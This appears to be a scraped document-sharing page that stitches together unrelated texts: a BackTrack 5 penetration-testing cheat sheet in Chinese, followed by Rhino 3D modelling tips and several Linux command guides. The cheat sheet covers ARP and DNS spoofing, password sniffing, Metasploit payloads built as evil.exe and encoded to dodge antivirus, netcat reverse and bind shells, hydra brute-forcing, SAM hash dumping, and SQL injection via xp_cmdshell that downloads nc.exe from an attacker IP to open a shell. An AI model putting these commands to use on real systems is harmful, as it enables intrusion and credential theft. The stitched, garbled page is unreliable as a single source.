BT5常用命令精华版

BT5常用命令精华版
BT5常用命令精华版

BT5常用命令

whois域名/ip查看域名的详细信息。

ping域名/ip测试本机到远端主机是否联通。

dig域名/ip查看域名解析的详细信息。

host-l域名dns服务器传输zone。

查询信息的网站:

https://www.360docs.net/doc/d68884400.html,

https://www.360docs.net/doc/d68884400.html,

https://www.360docs.net/doc/d68884400.html,

https://www.360docs.net/doc/d68884400.html,扫描nmap:

-sS半开扫描TCP和SYN扫描。

-sT完全TCP连接扫描。

-sU UDP扫描

-PS syn包探测(防火墙探测)

-PA ack包探测(防火墙探测)

-PN不ping。

-n不dns解析。

-A-O和-sV。

-O操作系统识别。

-sV服务版本信息(banner)

-p端口扫描。

-T设置时间级别(0-5)

-iL导入扫描结果。

-oG输出扫描结果。

操作系统识别:

p0f-i eth0-U-p开启混杂模式。

xprobe2ip|域名检测os。

banner获取:

nc ip port检测端口是否打开。

telnet ip port检测端口是否打开。

wget ip下载主页。

cat index.html|more显示主页代码。q退出。windows枚举

nmap-sS-p139,445ip扫描windows。

cd/pentest/enumeration/smb-enum

nbtscan-f targetIP检测netbios。smbgetserverinfo-i targetIP扫描name,os,组。smbdumpusers-i targetIP列出用户。

smbclient-L//targetIP列出共享。

使用windows:

net use\\ip\ipc$””/u:””开启空会话。

net view\\ip显示共享信息。

smbclient:

smbclient-L hostName-I targetIP枚举共享。

smbclient-L hostName/share-U””用空用户连接。

smbclient-L hostName-I targetIP-U admin普通用户连接。

rpcclient:

rpcclient targetIP-U“”打开一个空会话。

netshareenum枚举共享。

enumdomusers枚举用户。

lsaenumsid枚举域SID。

queryuser RID查询用户信息。

createdomuser创建用户访问。ARP欺骗:ettercap:

nano/usr/local/etc/etter.conf配置文件

Sniff>Unified sniffing>Network interface:eth0>OK设置抓包的网卡

Hosts>Scan for hosts(do this two times)扫描网段的主机

Hosts>Hosts list显示主机列表

Select the default gateway>Add to Target1添加主机

Select the target>Add to Target2添加主机

Mitm>Arp poisoning>Sniff remote connections>OK设置ARP攻击

Start>Start sniffing开始攻击

dsniff-i eth0监听网卡窃听登录用户密码

urlsnarf-i eth0嗅探http请求

msgsnarf-i eth0嗅探聊天软件的聊天内容

driftnet-i eth0网络管理嗅探图片,音频。dns欺骗:

nano/usr/local/share/ettercap/etter.dns编辑配置文件

Plugins>Manage the plugins>dns_spoof设置dns欺骗

Mitm>Arp poisoning>Sniff remote connections>OK设置ARP

Start>Start sniffing开始攻击

Exploits漏洞利用:

cd/pentest/exploits/exploit-db进入目录

cat sploitlist.txt|grep-i[exploit]查询需要的漏洞

cat exploit|grep”#include”检查运行环境

cat sploitlist.txt|grep-i exploit|cut-d””-f1|xargs grep sys|cut-d”:”-f1 |sort-u只保留可以在linux下运行的代码

Metasploit:

svn update升级

./msfweb Web接口127.0.0.1:55555。.

./msfconsole字符下的Console。help帮助

show

search搜索名字

use使用漏洞

show options显示选项

set

show payloads显示装置

set PAYLOAD设置装置

show options显示选项

set

show targets显示目标(os版本)

set TARGET设置目标版本

exploit开始漏洞攻击

sessions-l列出会话

sessions-i选择会话

sessions-k结束会话

z把会话放到后台

c结束会话

jobs列出漏洞运行工作

jobs-K结束一个漏洞运行工作

show auxiliary显示辅助模块

use使用辅助模块

set

run运行模块

scanner/smb/version扫描系统版本

scanner/mssql/mssql_ping测试mssql是否在线

scanner/mssql/mssql_login测试登录(暴力或字典)

Attacker behind firewall:bind shell正向

Target behind firewall:reverse shell反向Meterpreter衔接不懂dos的可以用这个:

db_import_nessus_nbe加载nessus的扫描结果

db_import_nmap_xml加载nmap的扫描结果

自动化攻击流程:

cd/pentest/exploit/framework3

./msfconsole

load db_sqlite3

db_destroy pentest

db_create pentest

db_nmap targetIPdb_hosts

db_services

db_autopwn-t-p-e

字符接口攻击流程:

./msfcli|grep-i

./msfcliS

./msfcli

做木马后门等:

./msfpayload

S summary and options of payload

C C languageP Perly Ruby

R Raw,allows payload to be piped into msfencode and other tools

J JavaScript

X Windows executable

./msfpayload windows/shell/reverse_tcp LHOST=10.1.1.1C

./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1LPORT=4444 X>evil.exe

编码处理就是做免杀:

./msfencode

./msfpayload linux_ia32_bind LPORT=4444R|./msfencode-b’\x00′-l

./msfpayload linux_ia32_bind LPORT=4444R|./msfencode-b’\x00′-e PexFnstenvMor-t c

入侵后在windows下添加管理员用户:

hostname查看主机名

net users查看用户

net user用户密码/add添加用户

net localgroup查看工作组

net localgroup administrators查看管理员组

net localgroup administrators x/add将用户加入管理员组TFTP

cp/pentest/windows-binaries/tools/nc.exe/tmp/传递到tftp上

tftp-i10.1.1.2GET nc.exe下载

netcat瑞士军刀

attacker:10.1.1.1

target:10.1.1.2

nc-v-z10.1.1.21-1024端口扫描

target:nc-lvp4444聊天设置(服务)

attacker:nc-v10.1.1.24444聊天设置(客户)

target:nc-lvp4444>output.txt传输文件(接受)

attacker:nc-v10.1.1.24444

target:nc-lvp4444-e cmd.exe Bind shell。

attacker:nc-v10.1.1.24444

target:nc-lvp4444Reverse shell。

attacker:nc-v10.1.1.24444-e/bin/bash密码

字典zcat/pentest/password/dictionaries/wordlist.txt.Z>words

cat words|wc-l显示个数(30多万个)暴力:

hydra-l ftp-P words-v targetIP ftp攻击ftp。

hydra-l muts-P words-v targetIP pop3攻击pop3

hydra-P words-v targetIP snmp攻击snmp

攻击microsof VPN

nmap-p1723targetIP

dos2unix words

cat words|thc-pptp-bruter targetIPWYD:

wget-r https://www.360docs.net/doc/d68884400.html,–accept=pdf下载pdf文档

wyd.pl-o output.txt https://www.360docs.net/doc/d68884400.html,/

cat output.txt|more

SAM文件(windows下的密码文件):

%SYSTEMROOT%/system32/config

%SYSTEMROOT%/repair

备份windows的hash文件:

./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP

PAYLOAD=windows/meterpreter/bind_tcp E

meterpreter>upload-r/tmp/pwdump6c:\\windows\\system32\\

meterpreter>execute-f cmd-c

meterpreter>interact x

C:\WINDOWS\system32>pwdump\\127.0.0.1

john破解密码:

cp hash.txt/pentest/password/john-1.7.2/run/

cd/pentest/password/john-1.7.2/run/

./john hash.txt彩虹表:

rcrack*.rt-f hash.txt

本地修改密码:mount

umount/mnt/hda1

modprobe fuse

ntfsmount/dev/hda1/mnt/hda1mount

ls-l/mnt/hda1挂载c盘

bkhive/mnt/sda1/WINDOWS/system32/config/system system.txt

samdump2/mnt/sda1/WINDOWS/system32/config/sam system.txt>hash.txt备份sam 文件

直接修改sam文件:

chntpw/mnt/sda1/WINDOWS/system32/config/SAM

Blank the password.*

Do you really wish to change it?y

Write hive files?y

unmount/mnt/sda1rebootSQL注入

nmap-sS-p1521targetIP扫描oracle

nmap-sS-p T:1433,U:1434targetIP扫描mssql

‘or1=1–验证旁路列举表名:

‘having1=1–

‘group by table having1=1–

‘group by table,table2having1=1–

‘group by table,table2,table3having1=1–

列举列类型:

union select sum(column)from table–

union select sum(column2)from table–添加数据:

‘;insert into table values(‘value’,’value2′,’value3′)–MSSQL存储程序:

输出数据库中备案信息到一个html文件,您可以查看与一个浏览器。

‘;exec sp_makewebtask”c:\Inetpub\wwwroot\test.html”,”select*from table”;–

https://www.360docs.net/doc/d68884400.html,/test.html

运行ipconfig在浏览器查看信息。

‘or1=1;exec master..xp_cmdshell’”ipconfig”>c:\Inetpub\wwwroot\test.txt’;–https://www.360docs.net/doc/d68884400.html,/test.txt

上传后门。

‘or1=1;exec master..xp_cmdshell’”tftp-i attackIP GET nc.exe&&nc.exe attackIP 53-e cmd.exe’;–

攻击者:nc-lvp53

犀牛建模常用技巧之使用感受

第1章常用工具及技巧 1.1 常用设置 1. 设置公差: 一般工业设计建模的图纸选用为:【小物件-mm】,【公差值】为:“0.001”。公差值的设定在【Option】/【units】 2. 图层管理 在建模开始前要设定好图层,将不同的物件随时分类。一般分类为:红色-curves,白-backup,其它图层放置实体。 3. 临时关闭捕捉 在绘图时,按住【Alt】键,可以暂时关闭Snap 4. 鼠标中键 鼠标中键的设定:先【Tools】/【Toolbarlayout】/【File】/【Open】,再选择要导入的工具列。然后【Option】/【mouse】,在如图选择。 1.2 技巧整理 首先要理解一些基本概念,这是高阶建模必须要掌握的基本理论知识。 ?首先大概知道NURBS技术与其他建模方式的区别,现在出现一个在Rhino下多边形概念的NURBS犀牛建模插件“T-splines”。 ?曲面质量的评价标准。 ?曲面连续性的含义。 ?涉及连续性的工具。 ?曲面面片划分的思路。 5. 绘制曲线 1.标准圆为4 条圆弧,曲线圆为一条曲线。因为标准圆为有理曲线,所以一般建模作圆 时,选用曲线圆。 2.画一段弧线时,超出90 度,自动变成2 段,超出180 度,变成3 段,同理,"Join" 会影响物体的属性。 3.学会常查看物体的属性。 4.按一下【Tab】键,在画线时锁定斜率。(这个在画与其它线保持连续性时很有用) 5.最精简曲线:Degree=3,4 个控制点。同理。每增加一个控制点,就多一个节点

第1章 常用工具及技巧 2 6. 2 条曲线在连接处的各自 2 个控制点,影响 G1。 3 个控制点,影响 G2 7. 这个为移动+复制"命令",很有用的一个命令,大家具体按 F1 看看 8. Blend 出的线为 Degree=5 的最精简曲线。 9. Rebuild 曲线后,控制点和节点距离变均匀,曲线变光滑。 10. 多段线 Join 后,在连接处存在节点,其实还是多段线。但是在进一步 Rebuild 后,就变成一条线。 11. Adjustable Blend 是比较人性化的命令,建议在 Blend 两条曲线时使用。 12. 权重值影响造型。权重值相等=非有理,权重值不等=有理(标准圆,椭圆) 查看和改变权重的命令如图 13. 复合曲面无法打开控制点,要炸开后才可以 14. 曲面与曲线的属性相关 15. U ,V 方向的控制点同时集中成一点,则为坏曲面 16. 在多边补面时,5 条边或更多,尽量转化成 4 条边成面 17. IsoCurve 如果连接曲面的顶点,则该点为收敛点。如图 18. 画线成面时,尽量保持曲线属性一致 19. 均匀曲线成面,节点对应。如图 20. 非均匀曲线成面,会产生互补。如图 21. 这个命令的条件是曲线必须是平面封闭的(受公差影响) 22. Trim ,Project ,Extrude Tapered ,Sweep1,Sweep2,Network 都是逼近命令。 23. Loft ,Surface from 2,3or4 Edge Curves 为属性命令,具有方向性 24. Loft 先选的线在封闭放样的参数下为焊接边位置。一般情况下,焊接边要选在模型对称的位置。如图箭头,为焊接边 25. 断面线避免使用标准圆,用非有理圆 26. 平均线为属性命令,是 Loft 原理产生的 27. "Bend"使用时,最好对控制点进行弯曲,不要对物体本身进行 28. "Revolve"形成的曲面往往为有理。选择参数"Deformable"后为非有理 29. 曲面增加 IsoCurves 时,最好别加在原有的 ISO 附近 30. Trim 用的线只要顺,不要讲究精简 1.3 Sweep2 Sweep2,通常在转弯处要修正 ISO 精简注意事项: 1. 轨道属性要一样。(阶数,控制点数,均匀程度) 2. 断面属性自由。 3. 头尾断面要接到轨道端点处 4. 断面必须在轨道的编辑点上。 5. 断面不可封闭。 6. 单边路径交于一点,有小瑕疵。 7. 双边路径交于一点,失败。

linux常用命令

新手刚刚接触Linux的时候可能处处感到不便,不过没有关系,接触新的事物都有这样的一个过程,在你用过Linux一段时间后,你就会逐渐了解Linux其实和Windows一样容易掌握。 由于操作和使用环境的陌生,如果要完全熟悉Linux的应用我们首先要解决的问题就是对Linux常用命令的熟练掌握。本章我们就来介绍Linux的常用基本命令。 Linux常用命令 1.Linux命令基础 Linux区分大小写。在命令行(shell)中,可以使用TAB键来自动补全命令。即可以输入命令的前几个字母,然后按TAB键,系统自动补全命令,若不止一个,则显示出所有和输入字母相匹配的命令。 按TAB键时,如果系统只找到一个和输入相匹配的目录或文件,则自动补全;若没有匹配的内容或有多个相匹配的名字,系统将发出警鸣声,再按一下TAB键将列出所有相匹配的内容(如果有的话)以供用户选择。 首先启动Linux。启动完毕后需要进行用户的登录,选择登陆的用户不同自然权限也不一样,其中―系统管理员‖拥有最高权限。 在启动Linux后屏幕出现如下界面显示:Red Hat Linux release 9 (Shrike) Kernel 2.4.20.8 on an i686

login: 输入:root(管理员名)后,计算机显示输口令(password:),输入你的口令即可。当计算机出现一个―#‖提示符时,表明你登录成功! 屏幕显示Linux提示符:[root@localhost root]#_ 这里需要说明的是―Red Hat Linux release 9 (Shrike)‖表示当前使用的操作系统的名称及版本。―2.4.20.8‖表示Linux操作系统的核心版本编号。―i686‖表示该台电脑使用的CPU的等级。 下面我们来介绍常用基本命令 一,注销,关机,重启 注销系统的logout命令 1,Logout 注销是登陆的相对操作,登陆系统后,若要离开系统,用户只要直接下达logout命令即可: [root@localhost root]#logout

Suse_Linux常用命令小结

1、Suse9下配置默认网关 a、在/etc/sysconfig/network/routes文件下添加如下行: default 网关IP地址 - - b、重启网络服务 # /etc/init.d/xinetd restart # rcnetwork restart c、查看路由 # netstat -r 2、Suse9下开启telnet服务 a、修改/etc/xinetd.d/telnet文件:disnable=no 如果/etc/xinetd.d下不存在telnet文件,可能是telnet服务包没有安装,需要通过光盘安装好。 b、修改/etc/pam.d/login文件,注释如下行,允许root用户telnet "auth required pam_securetty.so" c、编辑/etc/securetty文件 # vi /etc/securetty 在文件中增加下面的内容: pts/0 pts/1 pts/2 pts/3 pts/4 pts/5 pts/6 pts/7 pts/8 pts/9

d、重启网络服务 # /etc/init.d/xinetd restart # rcnetwork restart 3、Suse9下开启FTP服务 a、修改/etc/xinetd.d/vsftpd文件:disnable=no b、修改/etc/vsftpd.conf文件,取消如下行的注释: write_enable=YES local_enable=YES local_umask=022 ascii_upload_enable=YES ascii_download_enable=YES c、修改/etc/ftpusers,注释掉允许ftp的用户,如root d、重启网络服务 # /etc/init.d/xinetd restart 4、Suse9下配置rlogin a、配置用户$HOME目录下的.rhosts文件 # vi .rhosts 主机名1 用户名 主机名2 用户名 b、修改/etc/xinetd.d/rlogin文件:disnable=no c、修改/etc/pam.d/rlogin文件,注释如下行,允许root用户rlogin "auth required pam_securetty.so" d、重启网络服务 # /etc/init.d/xinetd restart 5、查看版本、内核 # cat /etc/issue Welcome to SUSE LINUX Enterprise Server 9 (i586) - Kernel \r (\l).

犀牛操作技巧(基础班)

犀牛(Rhinoceros 5)操作技巧(基础) 1.文件 1.1点击鼠标右键进行视图旋转,shift+鼠标右键进行视图平移; 1.2鼠标右键,重复上一操作; 1.3将视图进行最大化:ctrl+m; 1.4文件→递增保存,自动在文件保存的位置另存一个当前状态的新文件(递增); 1.5文件→插入,向当前模型内导入同类型模型实体; 1.6文件→导入,向当前模型内导入不同文件类型的内容; 1.7文件→导出选取的物体,导出选择的物体为一个新的模型文件; 1.8文件→文件属性,对软件进行设置; 1.9模型切换线框或实体:; 1.10编辑→多次复原,对操作进行多次撤销; 1.11选择对象的加减选:shift+鼠标左键进行选择; 1.12创建群组:,选择要加入的物体,按enter确认; 1.13打开、关闭曲线、实体的控制点,编辑→控制点→开启、关闭控制点(快捷键F10、F11); 1.14模型内内容的冻结:编辑→可视性→锁定; 1.15对所选的物体进行隐藏:ctrl+h;对所选的物体进行显示:ctrl+alt+h; 1.16弹出快捷按键:选择物体,按鼠标中键; 1.17图块导出:将创建的图块进行导出,编辑→图块→图块管理器,进行导出; 1.18框选缩放:ctrl+w,然后对需要放大的位置进行缩放; 1.19缩放至最大范围:ctrl+ shift+e,将模型内物体全部以最大范围显示在视图内; 1.20更改坐标系:查看→设置工作平面,选择设置工作平面的方式; 1.21如果关闭了几个视图,想要恢复,查看→工作视窗配置→四个工作视窗; 1.22更改视图内格线网格密度:查看→格线选项,可改变当前视图,也可改变所有视图; 1.23视图网格的显示关闭:F7; 2.点 2.1单点:每次创建一个单点; 2.2多点:一次创建多个点; 2.3抽离点:抽离(复制)出物体上的控制点; 2.4最接近点:找到距离目标点最近的物体上点; 2.5数个物件的最接近点:找到多个物件间距离最近的点; 2.6标示曲线的起点(终点):找到曲线的起点(终点); 2.7依线段长度等分曲线:将曲线进行给定长度的等分(最后一段可能不是给定的长度); 2.8点格:通过给定X、Y方向的点数,创建平面点格; 3.直线工具

Linux常用命令大全.pdf

Linux常用命令学习 1、ls命令 就是list的缩写,通过ls 命令不仅可以查看linux文件夹包含的文件,而且可以查看文件权限(包括目录、文件夹、文件权限)查看目录信息等等 常用参数搭配: ls -a 列出目录所有文件,包含以.开始的隐藏文件 ls -A 列出除.及..的其它文件 ls -r 反序排列 ls -t 以文件修改时间排序 ls -S 以文件大小排序 ls -h 以易读大小显示 ls -l 除了文件名之外,还将文件的权限、所有者、文件大小等信息详细列出来 实例: (1) 按易读方式按时间反序排序,并显示文件详细信息 ls -lhrt (2) 按大小反序显示文件详细信息 ls -lrS (3)列出当前目录中所有以“t”开头的目录的详细内容 ls -l t* (4) 列出文件绝对路径(不包含隐藏文件) ls | sed "s:^:`pwd`/:" (5) 列出文件绝对路径(包含隐藏文件) find $pwd -maxdepth 1 | xargs ls -ld 2、cd命令 (changeDirectory),命令语法:cd [目录名]。说明:切换当前目录至dirName 实例: (1)进入要目录 cd /

(2)进入"家"目录 cd ~ (3)进入上一次工作路径 cd - (4)把上个命令的参数作为cd参数使用。 cd !$ 3、pwd命令 查看当前工作目录路径 实例: (1)查看当前路径 pwd (2)查看软链接的实际路径 pwd -P 4、mkdir命令 创建文件夹 可用选项: -m: 对新建目录设置存取权限,也可以用chmod命令设置; -p: 可以是一个路径名称。此时若路径中的某些目录尚不存在,加上此选项后,系统将自动建立好那些尚不在的目录,即一次可以建立多个目录; 实例: (1)当前工作目录下创建名为t的文件夹 mkdir t (2)在tmp目录下创建路径为test/t1/t的目录,若不存在,则创建 mkdir -p /tmp/test/t1/t 5、rm命令 删除一个目录中的一个或多个文件或目录,如果没有使用- r选项,则rm不会删除目录。如果使用rm 来删除文件,通常仍可以将该文件恢复原状 rm [选项] 文件… 实例:

linux常用命令大全

& &命令可用在其他任何命令的后面,它用来通知计算机在后台运行某一命令。通过把作业放在后台,用户可以继续使用当前的shell来处理其他命令;如果命令在前台运行的话,那么用户在此进程结束前不能继续使用当前的shell。 adduser adduser命令由root或其他具有权限的管理员用来创建新用户,跟在adduser命令后面的是所要创建的帐号名,例如:adduser flying alias alias命令用来设置命令的别名或替代名。一般说来别名往往是实际命令名的缩写。例如用户为ls设置一个别名dir: alias dir=ls 若仅输入alias本身时,系统将显示当前所有的别名。 bg bg命令用来迫使被挂起的进程在后台运行。例如,当你已经在前台启动了一个命令时(没有在此命令后使用&),你才想到这一命令将运行较长一段时间,但你这时还需使用shell。在这种情况下,可通过ctrl+z挂起当前运行的进程。此时你既可以使它长期挂起,也可以通过输入bg把这一进程放到后台运行。这样shell就可以用来执行其他的命令了。 cat cat通常是用来在屏幕上滚动显示文件的内容。它的格式是: cat〈filename〉 cd cd用来改变目录。这一命令非常有用,它有三种典型的使用方法。 cd移到目录树的上一层 cd~移动到用户的主目录,与单独使用cd相同 cd directory name改变到指定的目录 cp cp用来拷贝对象。例如要把file1拷贝到file2,用如下命令: cp file1 file2 dd dd命令用来转换文件格式。 fg fg命令用来激活某个被挂起的进程并使它在前台运行。当有一个进程正在运行时,由于某种原因需要挂起它,在执行完其他任务后,需要重新把这一进程调到前台运行,这时便可用bg命令使这一进程继续运行。 find find命令用来查找指定目录的文件。当找到后将按照用户的要求对文件进行处理。语法是: find以它为起点进行搜索的目录想要查找的文件名或元字符对文件执行的操作 grep grep命令用来在指定的对象中搜索指定的文本。语法是:grep〈text〉〈file〉。它还可以和其他命令的结果联合使用,例如: ps -ef|grep-v root 这一命令要求grep接受ps命令的输出,并除去所有包含单词root的进程(-v的含义是显示与文本不匹配的内容)。在不使用-v选项时,这一命令将显示进程清单中所有包含单词root的进程。 halt halt命令用来通知内核关闭系统,它是一个只能由超级用户执行的命令。 hostname 既可以用来显示系统当前的主机名或域名,也可用来设置系统的主机名。 login 当向系统注册时,将使用login。login命令也可用来随时从这一用户改变到另一用户。 logout

RHINO犀牛基础教程

第一章 RHINO 软件介绍及安装 (2) 前言 (2) 1.1相关的软件介绍 (2) 1.2RHINO软件介绍及作品欣赏 (3) 1.3RHINO软件的安装 (3) 第二章工作流程和基本概念 (4) 2.1RHINO软件的工作流程 (4) 2.2常用概念解释 (4) 第三章界面和导航操作 (6) 3.1界面初识 (6) 3.2单位和模板 (6) 3.3鼠标操作 (7) 3.4视窗和导航 (7) 3.5物体的选择 (8) 3.6命令行的使用 (9) 第四章二维图形绘制 (10) 4.1直线绘制以及定点的方法 (10) 4.2圆和矩形的绘制 (11) 4.3曲线绘制和编辑修改 (11) 4.4二维线条的编辑 (13) 第五章基础曲面的创建 (14) 5.1实体创建和基本变换命令 (14) 5.2二维转三维的命令 (15) 5.3曲面的创建 (16) 第六章曲面的编辑及从曲面获得曲线 (20) 6.1曲面的布尔运算 (20) 6.2基本曲面编辑 (21) 6.3从曲面上获得曲线 (22) 第七章高级曲面编辑和曲面优化 (24) 7.1连续性测试 (24) 7.2曲线和曲面的连续性工具 (26) 7.3曲面的优化 (28) 第八章输入和输出 (30) 8.1输入背景图片 (30) 8.2尺寸标注和制作2D图形 (30) 8.3简单渲染和输出 (31) 8.4将犀牛模型导出到3DSMAX当中 (31)

第一章RHINO 软绍 件介及安装 前言 日本日立公司作过统计,该公司每增加1000亿日元的销售收入,工业设计所占的作用占51%,而设备改造的作用只占12%。由此可见工业设计的巨大作用。目前中国大陆正在已经逐步由代工企业转型为更高层次的自主品牌、自主设计的模式,所以在未来需要大量的工业设计的人才。产品诉求上也从“量的满足”转向追求“质的满足”甚至“感情的满足”。 工业设计专业的全称为工业产品造型设计。产品造型过程中常需要将设计产品虚拟出来以实现设计模型化。运用计算机绘制虚拟模型的方式有网格、面片以及NURBS等多种;但NURBS造型方式目前是最好的,尤其在建立复杂曲面模型方面更体现出其优越性。NURBS造型方式的应用遍及工业、军事、艺术等许多领域。 本书将从基础开始介绍学习PC机上应用最广泛,功能最强大的软件Rhinoceros!本书着重表现软件的工作流程以及核心概念,用一些示例来学习最常用的命令,较少用的到命令则在电子文档的帮助文件中。 工业设计概述 什么是工业设计?工业设计,其英文缩写ID,英文全称为 Industrail Design. 国际工业设计协会联合会(International Council Societies of Industrial Design)是这样定义工业设计的:“就批量生产的产品而言,凭借训练、技术知识、经验及视觉感受而赋予材料、结构、形态、色彩、表面加工以及装饰以新的品质和资格,叫做工业设计。根据当时的具体情况,工业设计师应在上述产品工业产品的全部侧面或其中几个方面进行工作,而且,当需要工业设计师对包装、宣传、展示、市场开发等问题的解决付出自己的技术知识和经验以及视觉评价能力时也属于工业设计的范畴。” 工业设计三大领域: 视觉传达设计(Visual Communication Design)-是对人与人之间实现传播的信号、符号的设计,是一种以平面为主导的造型活动。 产品设计(Product Design)-是为了生存发展而对以立体工业品为主要对象的造型活动,是追求功能和使用的重要领域,使人与自然的媒体! 环境设计(Environment Design)-是以整个社会和人类为基础的大自然空间设计,也称空间设计,是自然与社会间的物质媒介。。 1.1 相关的软件介绍 按照软件的规模和精度,一般分为结构设计(强调内部结构、生产和加工连接)和外观设计(强调形式、材料、风格)两个部分 高端结构设计软件: CATIA UG PRO/E 这些软件,价格昂贵,功能强大。为机械制造企业提供包括从设计、分析到制造应用的功能。主要在飞机汽车等大型企业。

linux常用的60个命令

Linux必学的60个命令 Linux必学的60个命令 Linux提供了大量的命令,利用它可以有效地完成大量的工作,如磁盘操作、文件存取、目录操作、进程管理、文件权限设定等。所以,在Linux系统上工作离不开使用系统提供的命令。要想真正理解Linux系统,就必须从Linux命令学起,通过基础的命令学习可以进一步理解Linux系统。不同Linux发行版的命令数量不一样,但Linux发行版本最少的命令也有200多个。这里笔者把比较重要和使用频率最多的命令,按照它们在系统中的作用分成下面六个部分一一介绍。 ◆安装和登录命令:login、shutdown、halt、reboot、install、mount、umount、chsh、exit、last; ◆文件处理命令:file、mkdir、grep、dd、find、mv、ls、diff、cat、ln; ◆系统管理相关命令:df、top、free、quota、at、lp、adduser、groupadd、kill、crontab; ◆网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、finger、mail、nslookup; ◆系统安全相关命令:passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、who; ◆其它命令:tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。 本文以Mandrake Linux 9.1(Kenrel 2.4.21)为例,介绍Linux下的安装和登录命令。immortality按:请用ctrl+f在本页中查找某一部分的内容或某一命令的用法。

RHINO犀牛 快捷键大全

RHINO犀牛快捷键大全 RHINO 快捷键 【简介】Ctrl+N 新建一个文档 Ctrl+O 打开一个文件 Ctrl+S 保存文件 Ctrl+P 打印设置 Ctrl+Z 取消 Ctrl+Y 重复 Ctrl+A 选择全部物体 Ctrl+X 剪贴 Ctrl+C 拷贝到剪贴板 Ctrl+V 粘贴 Delete 删除 Shift+按住鼠标右 Shift+按住鼠标右键拖动(在 透视窗里)在正脚视窗里,按 住鼠标右键拖动平移 pageup 向前平移 pagedown 向后平移 ctrl+按住鼠标右键向上拖动放大 ctrl+按住鼠标右键向下拖动缩小 HOME 取消最近一次缩放 END 重做最后一次缩放 ctrl+shift+按住鼠标右键拖 动,在透视窗里,按住鼠标右 键拖动。旋转 down arrow 向下旋转 left arrow 向左旋转 right arrow 向右旋转 up arrow 向上旋转 ctrl+shift+pageup 向左倾斜 ctrl+shift+pagedown 向右倾斜 shift+pageup shift+pagedown(透视视窗)调节镜头长度 F1 帮助 F2 显示命令历史 F7 隐藏显示栅格线 F8 正交

F9 捕捉栅格点 F10 打开CV点 F11 关闭CV点 ctrl+F1 最大化TOP视图 ctrl+F2 最大化FRONT视图 ctrl+F3 最大化RIGHT视图 ctrl+F4 最大化PERSPECTIVE视图 1.界面篇 下面我们从Rhino2.0的界面开始学习如何用Rhino2.0制作3D模型。Rhino2.0的主界面由菜单栏、工具栏、工具箱、视图区、命令行和状态栏几部分组成(图1)。

Linux常用命令详解(配合示例说明,清晰易懂)

Linux常用命令详解 (常用、详细) BISTU 自动化学院 刷碗小工(frisen.imtm) 2010年11月 开源社区,造福大家,版权所有,翻录不究(初次接触Linux命令可能对以下说明有不少疑问,可待看完一遍后再回头细看) (配合Ctrl + F可快速查找你想了解的命令)

索引:(待完善) 文件说明:Linux命令很多,但最常用的80个左右 文档内容充实,用示例说明命令如何使用笔者力求语言简洁,清晰易懂 由于忙于其他事情,改进排版的工作只能搁置了 最后,望此文档能为大家Linux学习之路献微薄之力 一、路径: 执行命令前必须要考虑的一步是命令的路径,若是路径错误或是没有正确的指定,可能导致错误的执行或是找不到该命令。要知道设置的路径,可执行以下命令: 一般而言,本书的命令位于/bin、usr/bin、/sbin、/usr/sbin之中。若读者执行了命令却出现“command not find”或是“命令不存在”的字样,就必须要确定该命令的位置是否在命令的路径中,或是系统上根本没有安装该套件。 二、命令顺序: 若在shell内置的命令/bin以及/usr/bin之下都出现了命令pwd,那当我们执行该命令时,会执行哪一个?答案是第一优先执行shell内置的命令,再执行路径中的设置;因此若有相同名称的命令时,必须要注意顺序设置,或是直接输入完整路径。 三、参数(或称选项)顺序: 一般除了特殊情况,参数是没有顺序的。举例而言,输入“–a –v”与输入“–v –a”以及“–av”的执行效果是相同的。但若该参数后指定了要接的文件或特殊对象,如“–a cmd1 –v cmd2”,则不能任意改变选项顺序。 四、常用参数: 下面所列的是常见的参数(选项)意义: --help,-h 显示帮助信息 --version,-V 显示版本信息 -v 繁琐模式(显示命令完整的执行过程) -i 交谈模式(指定界面) -l 长列表输出格式 -q,-s 安静模式(不显示任何输出或错误信息) -R 递归模式(连同目录下所有文件和子目录一起处理) -z 压缩 五、命令的结合与定向: 命令中除了一般命令外,还有管道(或称途径)(|)与定向(>或>>)。 管道(途径)的用法: “命令一[选项]”| “命令二[选项]”,也就是将“命令一[选项]”的输出结果传到“命令二[选项]”,通过命令二的处理之后才输出到标准输出(屏幕)上。比如“ls /etc”会列出etc下的所有文件,若加上“| less”,也就是“ls /etc | less”,则会将“ls /etc”的结果通过less分页输出。 定向的用法: 将结果定向到命令的输出设备,一般不加文件名意为将结果输出到屏幕,若是在定向后加上文件名,则会将命令的执行结果输出到定向的文件,例如“ls > temp.txt”,就会将ls 的结果输出到文件temp.txt中。“>”与“>>”的差异在于前者是覆盖,而后者是附加。 六、命令中的命令: 许多命令在执行后,会进入该命令的操作模式,如fdisk、pine、top等,进入后我们必须要使用该命令中的命令,才能正确执行;而一般要退出该命令,可以输入exit、q、quit或是按【Ctrl+C】组合

常用总结linux命令

Linux与unix对比: 1. Unix的历史久于linux. Linux的思想源于Unix 2. UNIX是商业软件,而Linux是自由软件,免费、公开源代码。 3. linux的核心是免费,核心开放自由使用.而unix的核心并不公开。 Linux的应用领域: 服务端,嵌入式,家庭信息的系统 网络嵌入式:虚拟私有网络(VPN),路由器(Router) 家电生活:影像电话、数字监视系统 服务端:web服务器,Linux系统 Linux有哪些版本: Febora,ubuntu,redhat(中国),debian,centOS Vmware虚拟机的介绍: 虚拟机的定义:是指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统。 虚拟机的特点: 1.基于一台电脑 2.虚拟多台计算机 3.便于安装和删除 Vmware虚拟机操作 1.虚拟机界面布局 2.虚拟机操作功能 3.新建虚拟机系统 虚拟机与物理机的异同: 虚拟机使用的技术:虚拟技术 虚拟机与物理机异同 1. 保证主机的快速运行,减少不必要的垃圾安装程序 2.安全性高:保密比较好的,单独在一个环境下面运行 3.使用方便:在虚拟机中随便安装和彻底删除 4.费用便宜:维护降低,降低软硬件设备的成本 1.2 安装Linux时最少需要两个分区硬盘分区(至少分/、swap(Swap交换分区设为物理内存的二倍), 可多分一个/home作为练习) Linux的安装步骤: 1、载入系统数据 2、系统分区划分 3、系统初始配置 Linux的系统目录: / 根目录,存放系统命令和用户数据等 /boot 存放与Linux启动相关的程序 /home 用户目录,存放普通用户的数据 /tmp 临时文件 /usr 是存放软件的地方,如有可能应将最大空间分给它 /usr/local 自已安装程序安装在此

